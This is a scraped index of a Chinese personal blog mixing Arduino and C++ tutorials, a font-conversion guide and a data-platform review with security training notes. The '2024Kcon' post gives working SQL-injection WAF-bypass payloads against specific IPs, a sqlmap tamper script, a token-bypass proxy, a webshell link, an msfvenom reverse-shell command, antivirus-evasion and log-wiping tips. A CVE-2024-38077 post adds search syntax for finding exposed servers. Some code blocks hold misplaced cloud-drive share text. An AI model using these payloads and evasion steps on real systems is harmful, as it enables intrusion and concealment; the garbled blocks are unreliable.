完整关键字列表：https://www.runoob.com/w3cnote/cpp-keyword-intro.html\n","date":"2025-01-04T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250107223540160.png","permalink":"/post/01x%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%951-7/","title":"01x基础语法1-7"},{"content":"准备工作 下载python3.9，推荐3.6~3.9，几个依赖包在这个版本运行的好。 下载 FontForge-mingw-w64 ，可自行下载，或从文末打包好的工具包直接使用。 下载需要导出的字体ttf文件，最好先装在本机系统上。 导出方法 把 tts2png2.py 文件复制到软件的bin目录下。 修改 tts2png2.py 文件中的字体路径，注意Windows用双斜杠。 xxxxxxxxxx4 1「小语种字体TTF\u0026hellip;法和软件.zip」，复制整段内容，打开最新版「夸克APP」即可获取。2畅享原画，免费5倍速播放，支持AI字幕和投屏，更有网盘TV版。3/091435J5mL:/4链接：https://pan.quark.cn/s/0333ce75c0bchtml 运行脚本 ./ffpython .\\tts2png2.py。 导出效果 工具包下载链接 CSDN下载： 小语种字体TTF文件转PNG图片的方法 夸克下载：\n1「小语种字体TTF...法和软件.zip」，复制整段内容，打开最新版「夸克APP」即可获取。 2畅享原画，免费5倍速播放，支持AI字幕和投屏，更有网盘TV版。 3/~091435J5mL~:/ 4链接：https://pan.quark.cn/s/0333ce75c0bc ","date":"2025-01-02T22:31:24Z","image":"https://i-blog.csdnimg.cn/direct/d57f363debdc47afb56ee75e9c01b709.png","permalink":"/post/%E5%B0%8F%E8%AF%AD%E7%A7%8D%E5%AD%97%E4%BD%93ttf%E6%96%87%E4%BB%B6%E8%BD%ACpng%E5%9B%BE%E7%89%87/","title":"小语种字体TTF文件转PNG图片的方法"},{"content":"IDE选择和环境配置 IDE建议选择Visual Studio，没有code的那个，VS不是VSCode。自带编程环境，配置齐全，不用自己链接库。熟练的可以选择VSCode或者Vim等任意。VS官网下载链接：https://visualstudio.microsoft.com/zh-hans/downloads/\n下载社区版即可，安装选项选择C++桌面版开发即可，下载慢的挂梯子，不要贪多一口气下载完。\n如果后续需要增加新的组件，SDK，语言包之类的，可以运行Visual Studio Installer 点击修改即可。\n在线学习资料 菜鸟教程https://www.runoob.com/cplusplus/cpp-tutorial.html 黑马程序员 https://www.bilibili.com/video/BV1et411b73Z MOOC https://www.icourse163.org/learn/TONGJI-1205704804?tid=1473189499#/learn/announce\n","date":"2025-01-01T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250103154501469.png","permalink":"/post/00x%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85%E5%92%8C%E9%85%8D%E7%BD%AE/","title":"00x C++环境安装和配置"},{"content":"使用C++编程，基本参考C++语法。\n每一句结尾用分号，注释用//，全大写单词是特有字符，不要乱用。函数用{}套起来。\n1void setup() { 2 // put your setup code here, to run once: 3 // 这里的代码在开始的时候运行一次 4 code doing something; // 每一行代码用分号结尾 5 6} 7 8void loop() { 9 // put your main code here, to run repeatedly: 10 // 这里的代码会循环重复运行 11 12} C++在线学习资料\nhttps://www.bilibili.com/video/BV1et411b73Z\nArduino语句函数库参考\nhttp://www.taichi-maker.com/homepage/reference-index/arduino-code-reference/\nhttps://docs.arduino.cc/language-reference/\n示例程序Blink 点亮LED小灯 1/* 2 Blink 3 4 Turns an LED on for one second, then off for one second, repeatedly. 5 打开LED一秒钟，然后关闭一秒钟，重复。 6 Most Arduinos have an on-board LED you can control. On the UNO, MEGA and ZERO 7 it is attached to digital pin 13, on MKR1000 on pin 6. LED_BUILTIN is set to 8 the correct LED pin independent of which board is used. 9 If you want to know what pin the on-board LED is connected to on your Arduino 10 model, check the Technical Specs of your board at: 11 大多数arduino都有一个可以控制的板载LED。 12 在UNO， MEGA和ZERO上，它连接到数字引脚13，在MKR1000引脚6上。 13 领导_BUILTIN设置为正确的LED引脚，与使用哪个板无关。 14 如果您想知道板上LED连接到Arduino模型上的引脚，请查看板的技术规格： 15 https://www.arduino.cc/en/Main/Products 16 17 modified 8 May 2014 18 by Scott Fitzgerald 19 modified 2 Sep 2016 20 by Arturo Guadalupi 21 modified 8 Sep 2016 22 by Colby Newman 23 24 This example code is in the public domain. 25 26 https://www.arduino.cc/en/Tutorial/BuiltInExamples/Blink 27*/ 28 29// the setup function runs once when you press reset or power the board 30// 按复位键或单板上电时，设置功能运行一次 31void setup() { 32 // initialize digital pin LED_BUILTIN as an output. 33 // 初始化数字引脚LED_BUILTIN作为输出。 34 pinMode(LED_BUILTIN, OUTPUT); 35} 36 37// the loop function runs over and over again forever 38// 循环函数会一直运行下去 39void loop() { 40 digitalWrite(LED_BUILTIN, HIGH); // turn the LED on (HIGH is the voltage level) 打开LED （HIGH是电压等级） 41 delay(1000); // wait for a second 等一秒 一秒是一千毫秒 42 digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW 通过使电压低来关闭LED 43 delay(1000); // wait for a second 44} 编译好后点击上传\n试着修改变量 1int delaytime = 3000; 2void setup() { 3 // initialize digital pin LED_BUILTIN as an output. 4 // 初始化数字引脚LED_BUILTIN作为输出。 5 pinMode(LED_BUILTIN, OUTPUT); 6} 7 8// the loop function runs over and over again forever 9// 循环函数会一直运行下去 10void loop() { 11 delaytime = delaytime +1000 // 随着循环递加 12 digitalWrite(LED_BUILTIN, HIGH); // turn the LED on (HIGH is the voltage level) 打开LED （HIGH是电压等级） 13 delay(3000); // wait for 3 second 等一秒 一秒是一千毫秒 14 digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW 通过使电压低来关闭LED 15 delay(delaytime); // wait for delaytime second 16} pinMode函数和digitalWrite函数 所以原代码也可写为\n1int delaytime = 100; 2int LED_pin = 13; 3// On the UNO, MEGA and ZERO it is attached to digital pin 13 4// 连接到数字引脚13 5void setup() { 6 // initialize digital pin LED_BUILTIN as an output. 7 // 初始化数字引脚LED_BUILTIN作为输出。 8 pinMode(LED_pin, OUTPUT); 9} 10 11// the loop function runs over and over again forever 12// 循环函数会一直运行下去 13void loop() {// 随着循环递加 14 digitalWrite(LED_pin, 5); // turn the LED on (HIGH is the voltage level) 打开LED （HIGH是电压等级） 15 delay(delaytime); // wait for 3 second 等一秒 一秒是一千毫秒 16 digitalWrite(LED_pin, 0); // turn the LED off by making the voltage LOW 通过使电压低来关闭LED 17 delay(delaytime); // wait for delaytime second 18} ","date":"2025-01-01T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/20250101112247.png","permalink":"/post/01xarduino%E7%A8%8B%E5%BA%8F%E5%9F%BA%E7%A1%80/","title":"01xArduino程序基础"},{"content":"LED属性 工作电流约20mA，工作是左右电压差约为2V。\n面包板 背面撕开可见链接如下：\n实操链接 双头突出的导线插入UNO板引脚5，另一端插入面包板任意位置。\n电阻一段插入面包板与前一引脚同列位置，另一端自然延伸到自然位置。\n二极管，长正短负，正极插入与电阻同排位置，负极隔一排。\n最后一根导线插入二极管负极同列位置，另一端插入UNO板“接地/GND”引脚。\n修改程序 xxxxxxxxxx4 1「小语种字体TTF\u0026hellip;法和软件.zip」，复制整段内容，打开最新版「夸克APP」即可获取。2畅享原画，免费5倍速播放，支持AI字幕和投屏，更有网盘TV版。3/091435J5mL:/4链接：https://pan.quark.cn/s/0333ce75c0bchtml\n1int delaytime = 1000; 2int LED_pin = 5; // 改成5号引脚 3// On the UNO, MEGA and ZERO it is attached to digital pin 13 4// 连接到数字引脚13 5void setup() { 6 // initialize digital pin LED_BUILTIN as an output. 7 // 初始化数字引脚LED_BUILTIN作为输出。 8 pinMode(LED_pin, OUTPUT); 9} 10 11// the loop function runs over and over again forever 12// 循环函数会一直运行下去 13void loop() {// 随着循环递加 14 digitalWrite(LED_pin, 5); // turn the LED on (HIGH is the voltage level) 打开LED （HIGH是电压等级） 15 delay(delaytime); // wait for 3 second 等一秒 一秒是一千毫秒 16 digitalWrite(LED_pin, 0); // turn the LED off by making the voltage LOW 通过使电压低来关闭LED 17 delay(delaytime); // wait for delaytime second 18} ","date":"2025-01-01T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/dddb8f0c3ee0c97d2d77ed880d2f237.jpg","permalink":"/post/02x%E9%9D%A2%E5%8C%85%E6%9D%BF%E5%92%8Cled/","title":"02x面包板和LED"},{"content":"Arduino是物联网设备，提供硬件编程的平台\n学习基础 初中物理电学知识 PC电脑基本操作知识 IDE下载安装 https://www.arduino.cc/\n官网下载，需要梯子。\nhttp://www.taichi-maker.com/\n国内可以访问这个网站。\n双击安装程序安装，注意必装USB驱动\n改中文\n接入开发板 拿出板子和线，USB接电脑，另一端接板子，就行。\n电脑上选择板子和端口，选择UNO，买的什么板子选什么，初学者用的一般是UNO板子。\n补充知识 最右上角的01端口最后使用，尽量不用。有右下角的模拟输入用于非01二进制。左下角是电源，看标的电压是几伏。\nUNO+R3+系列资料链接已经学习链接 UNO、NANO、2560、D1 R3、D1 R32详情视频链接： 复制链接浏览器打开：https://www.bilibili.com/video/BV1TP411P7mU/\n可编程开发板机械手臂组装视频： 复制网址进入浏览器粘贴后观看：https://v.youku.com/v_show/id_XNDg2MzAwMTExNg==.html\nUNO R3 网盘资料链接：https://pan.baidu.com/s/1Kb9-DFJyQm_PJKkQcEQbWQ 提取码：oyan\nArduino UNO数据手册（新手入门建议查看）：https://blog.csdn.net/m0_37738838/article/details/85045066\nArdu如何安装驱动：https://jingyan.baidu.com/article/a3761b2bc9957d1576f9aabd.html\nUNO R3开发板（套装）资料链接：https://pan.baidu.com/s/116mNC0Qx-BadnfGLggFDZg?pwd=8889 提取码：8889\n传感器套件介绍清单：https://pan.baidu.com/s/11Svlz4x4eIaiv4ugyDjZUQ 提取码：1314\n各种传感器使用教程链接：https://pan.baidu.com/s/1YNaJsXsaCzzUZxgLLal8WA 提取码：1314\n资料链接：https://pan.baidu.com/s/1QThmLOob0koMTZTzpuP71g?pwd=8888 提取码：8888\n开发板添加教程(视频)链接：https://pan.baidu.com/s/1dG8hn8V6spf7cgBKjtFiDA?pwd=8889 提取码：8889\n","date":"2024-12-31T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/39fc854eeb10ff62ce142f69193beca.jpg","permalink":"/post/00xarduino%E4%BB%8B%E7%BB%8D-ide%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85-%E6%9D%BF%E5%AD%90%E8%BF%9E%E6%8E%A5/","title":"00xArduino介绍、IDE下载安装、板子连接"},{"content":"SQL注入实战技巧（注入过程中所发现的边缘信息的充分利用） 1http://45.180.243.36/?id=%221%22or%22=`uniunionon`%22 1http://45.180.243.36/?id=%221%22or%22=%27uniunionon%0Aseseselectlectlect%0A1%27%22 slmap无法直接爆，有WAF 过滤空格 %0A 绕过 过滤union 双写可绕过 过滤select，三写绕过 145.180.243.220/?id=1or\u0026#39;\u0026#39;=\u0026#39;\u0026#39; 245.180.243.220/?id=\u0026#34;1\u0026#34;or\u0026#39;\u0026#39;=\u0026#39;uniunionon /**/\u0026#39; 3 4http://45.180.243.220/?id=%221%22or%27%27=%27uniunionon%0A%27 5 6http://45.180.243.220/?id=%221%22or%27%27=%27uniunionon%0Aseseselectlectlect%27 7 8http://45.180.243.220/?id=1%0Auniunionon%0Aseseselectlectlect%0A1,2,3 9 10http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,3 11 1245.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,scheman_name%0Afrom%0Ainformation_schema.schemata%0Alimit%0A1,1 13 14http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=”db_6XFkMpnM” 15 16http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema%0A=%0A%22db_6XFkMpnM%22 实战案例(sqlmap的使用技巧) 配置绕过规则复制tamper中的模板cp .\\space2plus.py 2024kcom.py修改为如下内容。\n1#!/usr/bin/env python 2 3\u0026#34;\u0026#34;\u0026#34; 4Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5See the file \u0026#39;LICENSE\u0026#39; for copying permission 6\u0026#34;\u0026#34;\u0026#34; 7 8from lib.core.compat import xrange 9from lib.core.enums import PRIORITY 10 11__priority__ = PRIORITY.LOW 12 13def dependencies(): 14 pass 15 16def tamper(payload, **kwargs): 17 \u0026#34;\u0026#34;\u0026#34; 18 Replaces space character (\u0026#39; \u0026#39;) with plus (\u0026#39;+\u0026#39;) 19 20 Notes: 21 * Is this any useful? The plus get\u0026#39;s url-encoded by sqlmap engine invalidating the query afterwards 22 * This tamper script works against all databases 23 24 \u0026gt;\u0026gt;\u0026gt; tamper(\u0026#39;SELECT id FROM users\u0026#39;) 25 \u0026#39;SELECT+id+FROM+users\u0026#39; 26 \u0026#34;\u0026#34;\u0026#34; 27 payload = payload.replace(\u0026#34;SELECT\u0026#34;,\u0026#34;select\u0026#34;) 28 payload = payload.replace(\u0026#34;UNION\u0026#34;,\u0026#34;union\u0026#34;) 29 payload = payload.replace(\u0026#34;union\u0026#34;,\u0026#34;ununionion\u0026#34;) 30 payload = payload.replace(\u0026#34;select\u0026#34;,\u0026#34;selselselectectect\u0026#34;) 31 payload = payload.replace(\u0026#34; \u0026#34;,\u0026#34;%0A\u0026#34;) #对应之前的绕过检查 32 return payload 带参数绕过\n1sqlmap -u \u0026#34;http://45.180.243.31/sql.php?id=1\u0026#34; --tamper=2024kcom.py --dbs -D db_YOARED3v -T db_flag --dump flag-{xxaq429524e6-ffd6-4c9c-8723-470f8e417424}\n同理也可以爆第一个靶场的flag\nflag-{xxaq61c44a35-6dce-4406-90b7-7c1cc1b5c5ae}\nsql1.php 随机值绕过 前后两次数值不一样\n用django创建一个服务，获取动态值，返回即可。\n启动一个django服务\n1django-admin.exe startproject testsql 创建一个 Kcon.py 文件内容如下。\n1from django.http import HttpResponse 2import requests 3def testsql(request): 4 with requests.Session() as session: 5 req = session.get(\u0026#34;http://45.180.243.152/sql1.php\u0026#34;) 6 req_list = req.text.split(\u0026#34;\u0026lt;strong\u0026gt;\u0026#34;) 7 req_list = req_list[1].split(\u0026#34;\u0026lt;/strong\u0026gt;\u0026#34;) 8 print(req.text) 9 randome_value = req_list[0].strip() 10 data ={ 11 \u0026#34;id\u0026#34;:request.GET[\u0026#34;id\u0026#34;], 12 \u0026#34;random_value\u0026#34;:randome_value 13 } 14 print(data) 15 req = session.post(\u0026#34;http://45.180.243.152/sql1.php\u0026#34;,data = data) 16 print(request.GET[\u0026#39;id\u0026#39;]) 17 return HttpResponse(req) 修改 url.py 文件，引入修改后的文件。\n1from django.contrib import admin 2from django.urls import path 3from . import view 4 5urlpatterns = [ 6 path(\u0026#39;admin/\u0026#39;, admin.site.urls), 7 path(\u0026#39;testsql/\u0026#39;,view.testsql), 8 path(\u0026#34;testsql2/\u0026#34;,view.testsql2), 9] 启动django，打开django启动的页面会话，sqlmap爆\n1python manage.py runserver 2python sqlmap.py -u \u0026#34;http://127.0.0.1:8000/testsql/?id=1\u0026#34; --dbs 3python sqlmap.py -u \u0026#34;http://127.0.0.1:8000/testsql/?id=1\u0026#34; -D db_5l6KrvIg -T db_flag -C flag --dump 无回显 抓包后sqlmap爆\n原理sqlmap不能识别直接执行sql语句的id，但是浏览器抓包后的请求头可以识别。\n1python.exe .\\sqlmap.py -r D:\\JingJing\\Documents\\CTF文件\\CTF刷题\\2024Kcon\\norespon.txt -D db_t4P1AxlC -T 2 db_flag -C flag --dump 有多余的执行步骤 view.py 中写入\n1def testsql2(request): 2 data = { 3 \u0026#34;random_value\u0026#34; : request.GET[\u0026#39;id\u0026#39;], 4 } 5 req = requests.post(\u0026#34;http://45.180.243.152/sql3.php\u0026#34;,data=data) 6 req = requests.get(\u0026#34;http://45.180.243.152/sql3.php?id=run\u0026#34;) 7 return HttpResponse(req) url.py 末尾加上\n1path(\u0026#34;testsql2/\u0026#34;,view.testsql2), 浏览器访问 http://127.0.0.1:8000/testsql2/?id=select+1用sqlmap爆\n1python sqlmap.py -u \u0026#34;http://127.0.0.1:8000/testsql2/?id=select+1\u0026#34; 2python sqlmap.py -u \u0026#34;http://127.0.0.1:8000/testsql2/?id=select+1\u0026#34; -D db_fcfUEiY7 -T db_flag -C flag --dump django后台的数据\n实战案例(利用crontab完成特定化场景的提权) 过滤了多种函数，一句话木马不能用，网络存储挂载了crotab文件，并且权限不收敛，挂载使用的是目录，但是可以nfs漏洞可以让其访问所有认证。\n修改成大马的内容，https://raw.githubusercontent.com/su18/Stitch/master/stitch.php\n近后台找到backup有ctrontab文件，改了就行\ncrontab新建的文件\nflag-{xxaqa7dac329-7a7d-44d1-9a5a-5ec4cff7efca}\n实战案例(windows操作系统下多种软件的免杀编写) msfvenom生成木马，特征明显，容易被杀\n\u0026ndash;list encodes 查看编码方式\n绕过工具\nshelter backdoor-factory 编码 白加黑 socket执行python代码，服务器远控。加载器与恶意代码分离。\n原本绕不过defender，但是安装了卡巴斯基后可以绕过。卡巴斯基关闭的defender，但是他自己防护能力不强。\n实战案例（流量侧网络限制时的攻击绕过） 绕过流量监测。\n能链接mssql，能用sql语句生成木马，但是外部不能链接。\n实战案例(windows系统仅有写权限时的getshell思路) ftp去提权\n跳到计划任务相关文件夹，抓特定文件到本地读，分析，然后写到服务器。\nKali 生成木马\n1msfvenom -p windows/meterpreter/reverse_tcp LHOST=2.2.1.4 LPORT=5252 -f exe -o test.exe 修改test.bat文件为\n1echo \u0026#34;test\u0026#34; \u0026gt;\u0026gt; test.txt 2cd C:\\Users\\Administrator\\Desktop\\ 3test.exe 删除原有bat文件，put上去新bat文件和木马 test.exe 文件\nKali中用msfconsle起5252端口\nAPT案例(新闻行业APT组织攻击与木马分析溯源) lsof -p 5386\n检查端口文件，如果木马被删了可以从proc里面找。对应PID号文件夹里的exe就是打开的木马文件，在进程里的，除非重启。\necho改掉日志文件才能完全隐藏木马痕迹。\n升级方向 流量加密 sh和socket分离 客户端改成被动式激活，减少流量 ","date":"2024-08-25T20:43:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1724546909351.png","permalink":"/post/2024kcon%E5%9F%B9%E8%AE%AD/","title":"2024Kcon培训"},{"content":"想学Python无从下手？数据太大拷贝使用麻烦？安装Python环境让人困扰？数据写论文来回转移平台麻烦？这些问题都可以用和鲸解决。\n官网：https://www.heywhale.com/home\n免安装、开箱即用的python环境 很多新手学Python经常卡在第一步环境安装。完整的Python环境需要下载Python本体，Python2，7或者Python3.6，目前常用的是Python3.6 很多学习教程也是这个版本，最新的是Python3.9，下载Python-installer.exe 安装程序点击安装后，通常会自带几个常用的库，但是这几个库对于数据分析来说不够用。所以，对于学习数据分析的新手而言，通常还需要安装额外的库，比如basemap，cartopy，pandoc，scipy等。在安装库的环节又会遇到墙的问题导致下载很慢，这时要么换源，要么下载离线的.whl包安装。某些库安装要求前置依赖，并且并不是都支持默认的最新版本号，此时还需要指定版本号安装。\n终于都安装完成了，或许你已经用Ipython的界面运行了几个简单的Python代码，此时你会发现这个编辑器保存修改都不方便，你需要一款支持python语言的IDE编辑器，一般的选择有Spyder或者Pycharm，也可以用VScode。一些教程可能会推荐你用Anaconda全家桶，一次安装，啥都配好从库到IDE，安装依赖库也只需要勾选即可，前置依赖conda会自动帮你解决。但是慢慢的你会发现，conda下载依赖库并不是全都能自己解决前置和相互之间的依赖。有些需要第三方软件链接的库，并不能自动安装，如GEO，而且Anaconda整体显得十分笨重，每次启动都十分缓慢。\n现在使用和鲸就可以解决。打开和鲸官网，注册一个账户就能开始编程。\n点击工作台，选择基础版。\n新建一个Notebook。\n选择运行环境和镜像（不知道选什么就默认），点击运行。等待页面跳转到比工作台界面。\n使用过Jupyter的同学应该很熟悉这个界面，在灰蓝色框内双击进入编辑状态，输入python代码，比如 print(\u0026quot;Hello World\u0026quot;)，然后点击左边的播放按钮或者键盘快捷键 shift+enter 即可运行当前框内的代码。\n是的，就这么简单，啥都不用管，你手上的《Python从入门到精通》《一周速成Python》这样的书可以直接跳过 第一章-python的安装 这一环节了。从变量环境直接开始吧。\n学习路径 我一般学习编程语言主要依靠在线文档而不是纸质书。互联网上Python的教程很多，有免费的也有收费的，我最开始是在上大二的时候，照着菜鸟教程网站的Python入门篇学习，然后一边学一边试着写数学分析课的作业，不懂的地方就东找找西找找，浪费了很多时间，吃了很多亏。中间因为安装依赖库把电脑环境搞崩溃的，重装电脑不下10次，还有因为看了错误的教程一直用错误的代码读数据，最后出图是错误的。现在和鲸有专业的学习路径，不用再在网上浪费时间找教程了。\n和鲸有针对气象，经管，数据分析行业的路径图，直接照着地图走就行，点击图片就能打开路径图，直达专项训练营。\n可以根据自己的需要，选择训练营学习。\n镜像更换快速 当你学习了一段时间的Python编程后，你要用Python解决实际科研问题的时候，你发现你的笔记本读取数据，运行代码很慢，你的笔记本没有配备高性能显卡，在一些图像领域的研究，小小的笔记本严重拖满了你的工作效率。\n还记得一开始的运行界面，可以选择系统和镜像吗？鼠标悬停在右上角的Python3 Kernel信息这里，可以选择切换系统和镜像。\n我在工作后经常需要绘制一些大图展示数据或者作为海报，单位配置的电脑是政采的清华同方。懂得都懂，清华同方的含金量啊。那基本上就只能写写word而已，即便是标着\u0026quot;工作站\u0026quot;字样的清华同方，依旧用着GTX960的显卡。这样的垃圾货还能用掉政采全年预算的三分之一。如果想要采购一台有高性能显卡和计算能力的个人电脑，集采市场压根没有供货商。想要采购一台小型超算，政采中供货商的价格也直接让一些小的单位无法接受。如果不走集采，那么就需要动用单位本级的自有资金，对于一些本就经费紧张的单位而言，这些资金还要留着发工资，支付各种税金和保险，维持单位日常运转。\n对于GPU这样的资源，一些项目研究使用该资源的需求只是爆发式的和结果式的。研究人员需要GPU运行一段时间，用得到的结果进一步研究和发表。在和鲸中就可以临时选择GPU资源，在设定好的时间内把结果跑出来，然后释放GPT资源，停止计费。不需要真的购买4个显卡。\nTips: 每周首页打卡可以白嫖3个鲸币。完成任务也可以获得鲸币。\n我在制作射界图的时候就是采用了这样的方式，先选择基础资源调试代码，最后选择T4 GPU渲染单个文件大小2-3G的高清地理图。下载结果图直接发给广告公司打印即可粘贴到办公室、作业点指导实际人员作业。只需要支付打印海报的费用，不用支付设计费和图纸费了。\n我还喜欢镜像更换这个功能。在分析气象数据时我通常会选择气象分析镜像Python3.7 这个镜像。可以点击详情查看镜像都安装了什么库。\n3.7这个镜像已经安装了atmos-算LNP图常用的一个库；basemap好用的一批，但难装的要死的地图库，画大气环流地图什么的相当漂亮；Catopys，另一个地图库，Basemap的替代品但是我不喜欢用；cinrad，雷达数据读取画图的库，简单到令人发指，a=read(\u0026quot;雷达数据.bin\u0026quot;);plot(a) 就完事，不用管什么波段什么格式，只要是中国常用的雷达数据，这个库自己会判断。GDAL和gmpy2两个地理数据库，极难安装；mayavi，3D动画库，也是极难安装需要有maya，想要出图高级一点可以用这个整成3D的动图，别再傻傻的用matplotlib，那只是个基本库；Metpy气象相关计算库；siphon，研究国外一些探空站下载数据用得到，库本身似乎停止更新，也不在公开资源中提供下载了；pandas，数据读取处理软件，在没有学会pandas之前，我只是把python当Fortran的高级版用，读写数据还是用f90那一套习惯，笑死。没有学过pandas的一定要报名龙清老师的GP1训练营\n顺便秀一下，我是第九名，这个训练营十分酸爽，建议学好python基础和画图的课程后在挑战。\n数据拷贝 科研最重要的基石就是数据，没有数据就做不了分析，发不了Paper。和鲸平台免费版可以托管20GB的数据，但是你从本地上传20GB的数据也很慢不是，和鲸还有直接挂在数据库和OSS对象储存和NAS的功能（需要付费）。\n对于医疗行业和某些可以开放共享的数据库，你可以直接链接数据库，不需要下载数据，直接读取数据库做分析。\n如果你们实验室搭建了NAS，或者你个人搭建了NAS，那你可以链接到你的NAS，直接访问你NAS中的数据做分析。你可以用另一台服务器，写个脚本，每天爬取NASA，天擎的数据和其他你需要的站点的数据，下载NAS中。不用管他，让脚本自动运行。当你需要研究的时候，只需要读取本地NAS的数据即可。\n除了Python，和鲸还可以写R，julia和执行shell代码。和Jupyter Lab的界面相似，使用方法也相似。\n用GPT与和鲸写论文 .ipynb可以同时包含代码和markdown字符，只需要设置每个小块cell的属性即可。首先在GPT上输入要写的论文内容和题目，字数，投放的期刊级别，让GPT生成论文大纲，粘贴到和鲸的markdonw中，用ctrl shift - 三个键按段落分割cell，就可以很清爽的写论文了。\n当论文需要计算数据时直接选择新增代码cell，编写python代码计算出图，然后点击右上角的隐藏按钮就可以隐藏代码，只显示出图结果，继续研究分析。\n在写好所有论文内容后，点击下载导出，选择下载.ipynb文件。\n下载到本地的.ipynb文件用pandoc工具导出为docx文件，方便根据投稿的期刊格式编辑修改。\n在WPS中还有论文一键排版的功能，只要你的段落按照## ###的规律递进，WPS可以根据公开的几个知名大学的论文格式或者根据你上传的范文格式一键重排版。\n到这一步只需要把论文投出去就行，等待期刊编辑的改稿和录用。如果投了学会年会交流的稿子，那么必然是要做一个PPT的，做PPT多麻烦能照着论文直接将多好。和鲸可以。右上角这个按钮就能按照cell直接播放幻灯片。\n当然如果可以的话还是好好做个PPT好，这个偷懒的方法只能应付一下小组会，报告会之类的小场面。由于和鲸运行在浏览器上，只要有网的地方就能随时随地打开和鲸网页，进入自己的工作台，编程或者补一补论文。所以用平板或者大的折叠屏手机甚至是可以联网的电纸书就能编程和写论文。对于硬件条件不好的研究者和需要出差办公不方便携带太重的笔记本的研究者来说，非常方便。我这篇论文就是在出差途中，工作摸鱼时，还有家里床上躺着用平板和家里的台式电脑写的。\n最后投了一个学会，获得了一个小奖，嘿嘿嘿。祝看到这里的各位今年论文都能发发发。在学术会议交流的时候，别的老师现场没有带电脑，只能光凭一张嘴讲，要么就是截图照片够多，专家提问的时候才不至于捉襟见肘。而我可以拿着平板演示，直接在大屏幕上现场跑代码，让专家们直接审查论文数据和结果，真实数据不怕检验。这样现场跑代码的行为也给专家们留下了深刻印象。我获得了年会论文评比的特等奖。\n待改进的点 组织不能个人退出。加入过多组织就会很烦，如下图。 希望增加AI接口，可以接入GPT或者其他辅助编程的Ai。更好的编程和水论文。 希望增加移动端的适配。 怎加多种导出格式，内置pandoc直接导出docx，方便修改论文。 ","date":"2024-08-19T17:43:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1724048206786.png","permalink":"/post/%E5%A6%82%E4%BD%95%E7%94%A8%E5%92%8C%E9%B2%B8heywhale%E5%8A%A0%E9%80%9F%E6%95%B0%E6%8D%AE%E7%A0%94%E7%A9%B6%E5%B7%A5%E4%BD%9C%E5%92%8C%E6%92%B0%E5%86%99%E8%AE%BA%E6%96%87/","title":"如何用和鲸heywhale加速数据研究工作和撰写论文"},{"content":" 参考链接 Windows 远程桌面授权服务远程代码执行漏洞(CVE-2024-38077) Windows 远程桌面授权服务远程代码执行漏洞 关于Windows远程桌面许可服务存在远程代码执行漏洞的安全公告 微软高危漏洞 CVE-2024-38077 EXP CVE-2024-38077-EXP 漏洞预警 | 已复现】Windows 远程桌面授权服务远程代码执行漏洞（CVE-2024-38077）附POC\n漏洞影响的产品和版本 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) 2Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) 3Windows Server 2008 R2 for x64-based Systems Service Pack 1 4Windows Server 2008 R2 for x64-based Systems Service Pack 1 5Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) 6Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) 7Windows Server 2008 for x64-based Systems Service Pack 2 8Windows Server 2008 for x64-based Systems Service Pack 2 9Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) 10Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) 11Windows Server 2008 for 32-bit Systems Service Pack 2 12Windows Server 2008 for 32-bit Systems Service Pack 2 13Windows Server 2012 R2 (Server Core installation) 14Windows Server 2012 R2 15Windows Server 2012 (Server Core installation) 16Windows Server 2012 17Windows Server 2016 (Server Core installation) 18Windows Server 2016 19Windows Server 2019 (Server Core installation) 20Windows Server 2019 21Windows Server 2022, 23H2 Edition (Server Core installation) 22Windows Server 2022 (Server Core installation) 23Windows Server 2022 24Windows Server 2025 Preview 用法 靶场搭建 开一个普通的Windows Server 2012 R2 数据中心版 64位中文版 服务器。\n打开服务器管理器。在命令提示符（cmd）中输入 \u0026ldquo;servermanager\u0026rdquo; 命令打开 \u0026ldquo;服务器管理器\u0026rdquo;。\n添加角色和功能。点击 \u0026ldquo;添加\u0026rdquo; ，然后弹出角色和功能向导。默认点击下一步到 \u0026ldquo;服务器角色\u0026rdquo; 功能。添加 \u0026ldquo;远程桌面服务\u0026rdquo;。选择后默认下一步进行安装，直到显示 \u0026ldquo;角色服务\u0026rdquo; 。在这里选择 \u0026ldquo;远程桌面授权\u0026rdquo; ，然后点击 \u0026ldquo;安装\u0026rdquo; 。安装过程可能需要等待1-2分钟。\n安装完成后需要手动开启服务。在命令提示符（cmd）中输入 \u0026ldquo;services.msc\u0026rdquo; 命令，成功打开 \u0026ldquo;服务\u0026rdquo; 窗口，找到 \u0026ldquo;Remote Procedure Call (RPC) Locator\u0026rdquo; 点击开启RPC服务即可完成。\n搜索语法 ZoomEye搜索\n1\u0026#34;3d267954-eeb7-11d1-b94e-00c04fa3080d\u0026#34; 2\u0026#34;3d267954-eeb7-11d1-b94e-00c04fa3080d\u0026#34; + country:\u0026#34;CN\u0026#34; Hunter搜索\n1ip.ports=\u0026#34;3389\u0026#34; \u0026amp;\u0026amp; ip.ports=\u0026#34;135\u0026#34; \u0026amp;\u0026amp; 